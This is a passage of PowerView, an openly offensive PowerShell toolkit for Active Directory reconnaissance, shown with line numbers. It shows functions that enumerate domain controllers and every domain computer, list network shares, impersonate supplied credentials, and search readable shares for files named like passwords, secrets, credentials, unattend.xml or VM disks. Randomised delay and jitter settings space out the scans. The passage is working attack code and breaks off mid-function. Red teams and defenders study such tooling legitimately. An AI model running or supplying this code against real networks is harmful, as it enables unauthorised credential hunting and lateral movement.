($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } 17918 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 17919 if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } 17920 if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } 17921 17922 if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { 17923 $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname 17924 } 17925 elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { 17926 # otherwise we're querying a specific group 17927 $GroupSearcherArguments = @{ 17928 'Identity' = $UserGroupIdentity 17929 'Recurse' = $True 17930 } 17931 Write-Verbose "UserGroupIdentity: $UserGroupIdentity" 17932 if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } 17933 if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } 17934 if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } 17935 if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } 17936 if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } 17937 if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 17938 if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } 17939 if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } 17940 $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName 17941 } 17942 17943 # build the set of computers to enumerate 17944 if ($PSBoundParameters['ComputerName']) { 17945 $TargetComputers = $ComputerName 17946 } 17947 else { 17948 # if not -ComputerName is passed, query the current (or target) domain for domain controllers 17949 $DCSearcherArguments = @{ 17950 'LDAP' = $True 17951 } 17952 if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } 17953 if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } 17954 if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } 17955 Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" 17956 $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname 17957 } 17958 if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { 17959 $TargetComputers = @(,$TargetComputers) 17960 } 17961 Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" 17962 Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" 17963 if ($TargetComputers.Length -eq 0) { 17964 throw '[Find-DomainUserEvent] No hosts found to enumerate' 17965 } 17966 17967 # the host enumeration block we're using to enumerate all servers 17968 $HostEnumBlock = { 17969 Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) 17970 17971 ForEach ($TargetComputer in $ComputerName) { 17972 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer 17973 if ($Up) { 17974 $DomainUserEventArgs = @{ 17975 'ComputerName' = $TargetComputer 17976 } 17977 if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } 17978 if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } 17979 if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } 17980 if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } 17981 if ($Filter -or $TargetUsers) { 17982 if ($TargetUsers) { 17983 Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} 17984 } 17985 else { 17986 $Operator = 'or' 17987 $Filter.Keys | ForEach-Object { 17988 if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { 17989 if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { 17990 $Operator = 'and' 17991 } 17992 } 17993 } 17994 $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} 17995 Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { 17996 if ($Operator -eq 'or') { 17997 ForEach ($Key in $Keys) { 17998 if ($_."$Key" -match $Filter[$Key]) { 17999 $_ 18000 } 18001 } 18002 } 18003 else { 18004 # and all clauses 18005 ForEach ($Key in $Keys) { 18006 if ($_."$Key" -notmatch $Filter[$Key]) { 18007 break 18008 } 18009 $_ 18010 } 18011 } 18012 } 18013 } 18014 } 18015 else { 18016 Get-DomainUserEvent @DomainUserEventArgs 18017 } 18018 } 18019 } 18020 } 18021 } 18022 18023 PROCESS { 18024 # only ignore threading if -Delay is passed 18025 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 18026 18027 Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" 18028 Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" 18029 $Counter = 0 18030 $RandNo = New-Object System.Random 18031 18032 ForEach ($TargetComputer in $TargetComputers) { 18033 $Counter = $Counter + 1 18034 18035 # sleep for our semi-randomized interval 18036 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 18037 18038 Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" 18039 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential 18040 $Result 18041 18042 if ($Result -and $StopOnSuccess) { 18043 Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" 18044 return 18045 } 18046 } 18047 } 18048 else { 18049 Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" 18050 18051 # if we're using threading, kick off the script block with New-ThreadedFunction 18052 $ScriptParams = @{ 18053 'StartTime' = $StartTime 18054 'EndTime' = $EndTime 18055 'MaxEvents' = $MaxEvents 18056 'TargetUsers' = $TargetUsers 18057 'Filter' = $Filter 18058 'Credential' = $Credential 18059 } 18060 18061 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params 18062 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads 18063 } 18064 } 18065 } 18066 18067 18068 function Find-DomainShare { 18069 <# 18070 .SYNOPSIS 18071 18072 Searches for computer shares on the domain. If -CheckShareAccess is passed, 18073 then only shares the current user has read access to are returned. 18074 18075 Author: Will Schroeder (@harmj0y) 18076 License: BSD 3-Clause 18077 Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction 18078 18079 .DESCRIPTION 18080 18081 This function enumerates all machines on the current (or specified) domain 18082 using Get-DomainComputer, and enumerates the available shares for each 18083 machine with Get-NetShare. If -CheckShareAccess is passed, then 18084 [IO.Directory]::GetFiles() is used to check if the current user has read 18085 access to the given share. If -Credential is passed, then 18086 Invoke-UserImpersonation is used to impersonate the specified user before 18087 enumeration, reverting after with Invoke-RevertToSelf. 18088 18089 .PARAMETER ComputerName 18090 18091 Specifies an array of one or more hosts to enumerate, passable on the pipeline. 18092 If -ComputerName is not passed, the default behavior is to enumerate all machines 18093 in the domain returned by Get-DomainComputer. 18094 18095 .PARAMETER ComputerDomain 18096 18097 Specifies the domain to query for computers, defaults to the current domain. 18098 18099 .PARAMETER ComputerLDAPFilter 18100 18101 Specifies an LDAP query string that is used to search for computer objects. 18102 18103 .PARAMETER ComputerSearchBase 18104 18105 Specifies the LDAP source to search through for computers, 18106 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. 18107 18108 .PARAMETER ComputerOperatingSystem 18109 18110 Search computers with a specific operating system, wildcards accepted. 18111 18112 .PARAMETER ComputerServicePack 18113 18114 Search computers with a specific service pack, wildcards accepted. 18115 18116 .PARAMETER ComputerSiteName 18117 18118 Search computers in the specific AD Site name, wildcards accepted. 18119 18120 .PARAMETER CheckShareAccess 18121 18122 Switch. Only display found shares that the local user has access to. 18123 18124 .PARAMETER Server 18125 18126 Specifies an Active Directory server (domain controller) to bind to. 18127 18128 .PARAMETER SearchScope 18129 18130 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). 18131 18132 .PARAMETER ResultPageSize 18133 18134 Specifies the PageSize to set for the LDAP searcher object. 18135 18136 .PARAMETER ServerTimeLimit 18137 18138 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 18139 18140 .PARAMETER Tombstone 18141 18142 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 18143 18144 .PARAMETER Credential 18145 18146 A [Management.Automation.PSCredential] object of alternate credentials 18147 for connection to the target domain and target systems. 18148 18149 .PARAMETER Delay 18150 18151 Specifies the delay (in seconds) between enumerating hosts, defaults to 0. 18152 18153 .PARAMETER Jitter 18154 18155 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 18156 18157 .PARAMETER Threads 18158 18159 The number of threads to use for user searching, defaults to 20. 18160 18161 .EXAMPLE 18162 18163 Find-DomainShare 18164 18165 Find all domain shares in the current domain. 18166 18167 .EXAMPLE 18168 18169 Find-DomainShare -CheckShareAccess 18170 18171 Find all domain shares in the current domain that the current user has 18172 read access to. 18173 18174 .EXAMPLE 18175 18176 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 18177 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 18178 Find-DomainShare -Domain testlab.local -Credential $Cred 18179 18180 Searches for domain shares in the testlab.local domain using the specified alternate credentials. 18181 18182 .OUTPUTS 18183 18184 PowerView.ShareInfo 18185 #> 18186 18187 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 18188 [OutputType('PowerView.ShareInfo')] 18189 Param( 18190 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 18191 [Alias('DNSHostName')] 18192 [String[]] 18193 $ComputerName, 18194 18195 [ValidateNotNullOrEmpty()] 18196 [Alias('Domain')] 18197 [String] 18198 $ComputerDomain, 18199 18200 [ValidateNotNullOrEmpty()] 18201 [String] 18202 $ComputerLDAPFilter, 18203 18204 [ValidateNotNullOrEmpty()] 18205 [String] 18206 $ComputerSearchBase, 18207 18208 [ValidateNotNullOrEmpty()] 18209 [Alias('OperatingSystem')] 18210 [String] 18211 $ComputerOperatingSystem, 18212 18213 [ValidateNotNullOrEmpty()] 18214 [Alias('ServicePack')] 18215 [String] 18216 $ComputerServicePack, 18217 18218 [ValidateNotNullOrEmpty()] 18219 [Alias('SiteName')] 18220 [String] 18221 $ComputerSiteName, 18222 18223 [Alias('CheckAccess')] 18224 [Switch] 18225 $CheckShareAccess, 18226 18227 [ValidateNotNullOrEmpty()] 18228 [Alias('DomainController')] 18229 [String] 18230 $Server, 18231 18232 [ValidateSet('Base', 'OneLevel', 'Subtree')] 18233 [String] 18234 $SearchScope = 'Subtree', 18235 18236 [ValidateRange(1, 10000)] 18237 [Int] 18238 $ResultPageSize = 200, 18239 18240 [ValidateRange(1, 10000)] 18241 [Int] 18242 $ServerTimeLimit, 18243 18244 [Switch] 18245 $Tombstone, 18246 18247 [Management.Automation.PSCredential] 18248 [Management.Automation.CredentialAttribute()] 18249 $Credential = [Management.Automation.PSCredential]::Empty, 18250 18251 [ValidateRange(1, 10000)] 18252 [Int] 18253 $Delay = 0, 18254 18255 [ValidateRange(0.0, 1.0)] 18256 [Double] 18257 $Jitter = .3, 18258 18259 [Int] 18260 [ValidateRange(1, 100)] 18261 $Threads = 20 18262 ) 18263 18264 BEGIN { 18265 18266 $ComputerSearcherArguments = @{ 18267 'Properties' = 'dnshostname' 18268 } 18269 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } 18270 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } 18271 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } 18272 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } 18273 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } 18274 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } 18275 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } 18276 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } 18277 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } 18278 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } 18279 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 18280 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } 18281 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } 18282 18283 if ($PSBoundParameters['ComputerName']) { 18284 $TargetComputers = $ComputerName 18285 } 18286 else { 18287 Write-Verbose '[Find-DomainShare] Querying computers in the domain' 18288 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname 18289 } 18290 Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" 18291 if ($TargetComputers.Length -eq 0) { 18292 throw '[Find-DomainShare] No hosts found to enumerate' 18293 } 18294 18295 # the host enumeration block we're using to enumerate all servers 18296 $HostEnumBlock = { 18297 Param($ComputerName, $CheckShareAccess, $TokenHandle) 18298 18299 if ($TokenHandle) { 18300 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation 18301 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet 18302 } 18303 18304 ForEach ($TargetComputer in $ComputerName) { 18305 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer 18306 if ($Up) { 18307 # get the shares for this host and check what we find 18308 $Shares = Get-NetShare -ComputerName $TargetComputer 18309 ForEach ($Share in $Shares) { 18310 $ShareName = $Share.Name 18311 # $Remark = $Share.Remark 18312 $Path = '\\'+$TargetComputer+'\'+$ShareName 18313 18314 if (($ShareName) -and ($ShareName.trim() -ne '')) { 18315 # see if we want to check access to this share 18316 if ($CheckShareAccess) { 18317 # check if the user has access to this path 18318 try { 18319 $Null = [IO.Directory]::GetFiles($Path) 18320 $Share 18321 } 18322 catch { 18323 Write-Verbose "Error accessing share path $Path : $_" 18324 } 18325 } 18326 else { 18327 $Share 18328 } 18329 } 18330 } 18331 } 18332 } 18333 18334 if ($TokenHandle) { 18335 Invoke-RevertToSelf 18336 } 18337 } 18338 18339 $LogonToken = $Null 18340 if ($PSBoundParameters['Credential']) { 18341 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 18342 $LogonToken = Invoke-UserImpersonation -Credential $Credential 18343 } 18344 else { 18345 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet 18346 } 18347 } 18348 } 18349 18350 PROCESS { 18351 # only ignore threading if -Delay is passed 18352 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 18353 18354 Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" 18355 Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" 18356 $Counter = 0 18357 $RandNo = New-Object System.Random 18358 18359 ForEach ($TargetComputer in $TargetComputers) { 18360 $Counter = $Counter + 1 18361 18362 # sleep for our semi-randomized interval 18363 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 18364 18365 Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" 18366 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken 18367 } 18368 } 18369 else { 18370 Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" 18371 18372 # if we're using threading, kick off the script block with New-ThreadedFunction 18373 $ScriptParams = @{ 18374 'CheckShareAccess' = $CheckShareAccess 18375 'TokenHandle' = $LogonToken 18376 } 18377 18378 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params 18379 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads 18380 } 18381 } 18382 18383 END { 18384 if ($LogonToken) { 18385 Invoke-RevertToSelf -TokenHandle $LogonToken 18386 } 18387 } 18388 } 18389 18390 18391 function Find-InterestingDomainShareFile { 18392 <# 18393 .SYNOPSIS 18394 18395 Searches for files matching specific criteria on readable shares 18396 in the domain. 18397 18398 Author: Will Schroeder (@harmj0y) 18399 License: BSD 3-Clause 18400 Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction 18401 18402 .DESCRIPTION 18403 18404 This function enumerates all machines on the current (or specified) domain 18405 using Get-DomainComputer, and enumerates the available shares for each 18406 machine with Get-NetShare. It will then use Find-InterestingFile on each 18407 readhable share, searching for files marching specific criteria. If -Credential 18408 is passed, then Invoke-UserImpersonation is used to impersonate the specified 18409 user before enumeration, reverting after with Invoke-RevertToSelf. 18410 18411 .PARAMETER ComputerName 18412 18413 Specifies an array of one or more hosts to enumerate, passable on the pipeline. 18414 If -ComputerName is not passed, the default behavior is to enumerate all machines 18415 in the domain returned by Get-DomainComputer. 18416 18417 .PARAMETER ComputerDomain 18418 18419 Specifies the domain to query for computers, defaults to the current domain. 18420 18421 .PARAMETER ComputerLDAPFilter 18422 18423 Specifies an LDAP query string that is used to search for computer objects. 18424 18425 .PARAMETER ComputerSearchBase 18426 18427 Specifies the LDAP source to search through for computers, 18428 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. 18429 18430 .PARAMETER ComputerOperatingSystem 18431 18432 Search computers with a specific operating system, wildcards accepted. 18433 18434 .PARAMETER ComputerServicePack 18435 18436 Search computers with a specific service pack, wildcards accepted. 18437 18438 .PARAMETER ComputerSiteName 18439 18440 Search computers in the specific AD Site name, wildcards accepted. 18441 18442 .PARAMETER Include 18443 18444 Only return files/folders that match the specified array of strings, 18445 i.e. @(*.doc*, *.xls*, *.ppt*) 18446 18447 .PARAMETER SharePath 18448 18449 Specifies one or more specific share paths to search, in the form \\COMPUTER\Share 18450 18451 .PARAMETER ExcludedShares 18452 18453 Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. 18454 18455 .PARAMETER LastAccessTime 18456 18457 Only return files with a LastAccessTime greater than this date value. 18458 18459 .PARAMETER LastWriteTime 18460 18461 Only return files with a LastWriteTime greater than this date value. 18462 18463 .PARAMETER CreationTime 18464 18465 Only return files with a CreationTime greater than this date value. 18466 18467 .PARAMETER OfficeDocs 18468 18469 Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) 18470 18471 .PARAMETER FreshEXEs 18472 18473 Switch. Find .EXEs accessed within the last 7 days. 18474 18475 .PARAMETER Server 18476 18477 Specifies an Active Directory server (domain controller) to bind to. 18478 18479 .PARAMETER SearchScope 18480 18481 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). 18482 18483 .PARAMETER ResultPageSize 18484 18485 Specifies the PageSize to set for the LDAP searcher object. 18486 18487 .PARAMETER ServerTimeLimit 18488 18489 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 18490 18491 .PARAMETER Tombstone 18492 18493 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 18494 18495 .PARAMETER Credential 18496 18497 A [Management.Automation.PSCredential] object of alternate credentials 18498 for connection to the target domain and target systems. 18499 18500 .PARAMETER Delay 18501 18502 Specifies the delay (in seconds) between enumerating hosts, defaults to 0. 18503 18504 .PARAMETER Jitter 18505 18506 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 18507 18508 .PARAMETER Threads 18509 18510 The number of threads to use for user searching, defaults to 20. 18511 18512 .EXAMPLE 18513 18514 Find-InterestingDomainShareFile 18515 18516 Finds 'interesting' files on the current domain. 18517 18518 .EXAMPLE 18519 18520 Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') 18521 18522 Finds 'interesting' files on readable shares on the specified systems. 18523 18524 .EXAMPLE 18525 18526 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 18527 $Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) 18528 Find-DomainShare -Domain testlab.local -Credential $Cred 18529 18530 Searches interesting files in the testlab.local domain using the specified alternate credentials. 18531 18532 .OUTPUTS 18533 18534 PowerView.FoundFile 18535 #> 18536 18537 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 18538 [OutputType('PowerView.FoundFile')] 18539 [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] 18540 Param( 18541 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 18542 [Alias('DNSHostName')] 18543 [String[]] 18544 $ComputerName, 18545 18546 [ValidateNotNullOrEmpty()] 18547 [String] 18548 $ComputerDomain, 18549 18550 [ValidateNotNullOrEmpty()] 18551 [String] 18552 $ComputerLDAPFilter, 18553 18554 [ValidateNotNullOrEmpty()] 18555 [String] 18556 $ComputerSearchBase, 18557 18558 [ValidateNotNullOrEmpty()] 18559 [Alias('OperatingSystem')] 18560 [String] 18561 $ComputerOperatingSystem, 18562 18563 [ValidateNotNullOrEmpty()] 18564 [Alias('ServicePack')] 18565 [String] 18566 $ComputerServicePack, 18567 18568 [ValidateNotNullOrEmpty()] 18569 [Alias('SiteName')] 18570 [String] 18571 $ComputerSiteName, 18572 18573 [Parameter(ParameterSetName = 'FileSpecification')] 18574 [ValidateNotNullOrEmpty()] 18575 [Alias('SearchTerms', 'Terms')] 18576 [String[]] 18577 $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), 18578 18579 [ValidateNotNullOrEmpty()] 18580 [ValidatePattern('\\\\')] 18581 [Alias('Share')] 18582 [String[]] 18583 $SharePath, 18584 18585 [String[]] 18586 $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), 18587 18588 [Parameter(ParameterSetName = 'FileSpecification')] 18589 [ValidateNotNullOrEmpty()] 18590 [DateTime] 18591 $LastAccessTime, 18592 18593 [Parameter(ParameterSetName = 'FileSpecification')] 18594 [ValidateNotNullOrEmpty()] 18595 [DateTime] 18596 $LastWriteTime, 18597 18598 [Parameter(ParameterSetName = 'FileSpecification')] 18599 [ValidateNotNullOrEmpty()] 18600 [DateTime] 18601 $CreationTime, 18602 18603 [Parameter(ParameterSetName = 'OfficeDocs')] 18604 [Switch] 18605 $OfficeDocs, 18606 18607 [Parameter(ParameterSetName = 'FreshEXEs')] 18608 [Switch] 18609 $FreshEXEs, 18610 18611 [ValidateNotNullOrEmpty()] 18612 [Alias('DomainController')] 18613 [String] 18614 $Server, 18615 18616 [ValidateSet('Base', 'OneLevel', 'Subtree')] 18617 [String] 18618 $SearchScope = 'Subtree', 18619 18620 [ValidateRange(1, 10000)] 18621 [Int] 18622 $ResultPageSize = 200, 18623 18624 [ValidateRange(1, 10000)] 18625 [Int] 18626 $ServerTimeLimit, 18627 18628 [Switch] 18629 $Tombstone, 18630 18631 [Management.Automation.PSCredential] 18632 [Management.Automation.CredentialAttribute()] 18633 $Credential = [Management.Automation.PSCredential]::Empty, 18634 18635 [ValidateRange(1, 10000)] 18636 [Int] 18637 $Delay = 0, 18638 18639 [ValidateRange(0.0, 1.0)] 18640 [Double] 18641 $Jitter = .3, 18642 18643 [Int] 18644 [ValidateRange(1, 100)] 18645 $Threads = 20 18646 ) 18647 18648 BEGIN { 18649 $ComputerSearcherArguments = @{ 18650 'Properties' = 'dnshostname' 18651 } 18652 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } 18653 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } 18654 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } 18655 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } 18656 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } 18657 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } 18658 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } 18659 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } 18660 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } 18661 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 18662 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } 18663 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } 18664 18665 if ($PSBoundParameters['ComputerName']) { 18666 $TargetComputers = $ComputerName 18667 } 18668 else { 18669 Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' 18670 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname 18671 } 18672 Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" 18673 if ($TargetComputers.Length -eq 0) { 18674 throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' 18675 } 18676 18677 # the host enumeration block we're using to enumerate all servers 18678 $HostEnumBlock = { 18679 Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) 18680 18681 if ($TokenHandle) { 18682 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation 18683 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet 18684 } 18685 18686 ForEach ($TargetComputer in $ComputerName) { 18687 18688 $SearchShares = @() 18689 if ($TargetComputer.StartsWith('\\')) { 18690 # if a share is passed as the server 18691 $SearchShares += $TargetComputer 18692 } 18693 else { 18694 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer 18695 if ($Up) { 18696 # get the shares for this host and display what we find 18697 $Shares = Get-NetShare -ComputerName $TargetComputer 18698 ForEach ($Share in $Shares) { 18699 $ShareName = $Share.Name 18700 $Path = '\\'+$TargetComputer+'\'+$ShareName 18701 # make sure we get a real share name back 18702 if (($ShareName) -and ($ShareName.Trim() -ne '')) { 18703 # skip this share if it's in the exclude list 18704 if ($ExcludedShares -NotContains $ShareName) { 18705 # check if the user has access to this path 18706 try { 18707 $Null = [IO.Directory]::GetFiles($Path) 18708 $SearchShares += $Path 18709 } 18710 catch { 18711 Write-Verbose "[!] No access to $Path" 18712 } 18713 } 18714 } 18715 } 18716 } 18717 } 18718 18719 ForEach ($Share in $SearchShares) { 18720 Write-Verbose "Searching share: $Share" 18721 $SearchArgs = @{ 18722 'Path' = $Share 18723 'Include' = $Include 18724 } 18725 if ($OfficeDocs) { 18726 $SearchArgs['OfficeDocs'] = $OfficeDocs 18727 } 18728 if ($FreshEXEs) { 18729 $SearchArgs['FreshEXEs'] = $FreshEXEs 18730 } 18731 if ($LastAccessTime) { 18732 $SearchArgs['LastAccessTime'] = $LastAccessTime 18733 } 18734 if ($LastWriteTime) { 18735 $SearchArgs['LastWriteTime'] = $LastWriteTime 18736 } 18737 if ($CreationTime) { 18738 $SearchArgs['CreationTime'] = $CreationTime 18739 } 18740 if ($CheckWriteAccess) { 18741 $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess 18742 } 18743 Find-InterestingFile @SearchArgs 18744 } 18745 } 18746 18747 if ($TokenHandle) { 18748 Invoke-RevertToSelf 18749 } 18750 } 18751 18752 $LogonToken = $Null 18753 if ($PSBoundParameters['Credential']) { 18754 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 18755 $LogonToken = Invoke-UserImpersonation -Credential $Credential 18756 } 18757 else { 18758 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet 18759 } 18760 } 18761 } 18762 18763 PROCESS { 18764 # only ignore threading if -Delay is passed 18765 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 18766 18767 Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" 18768 Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" 18769 $Counter = 0 18770 $RandNo = New-Object System.Random 18771 18772 ForEach ($TargetComputer in $TargetComputers) { 18773 $Counter = $Counter + 1 18774 18775 # sleep for our semi-randomized interval 18776 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 18777 18778 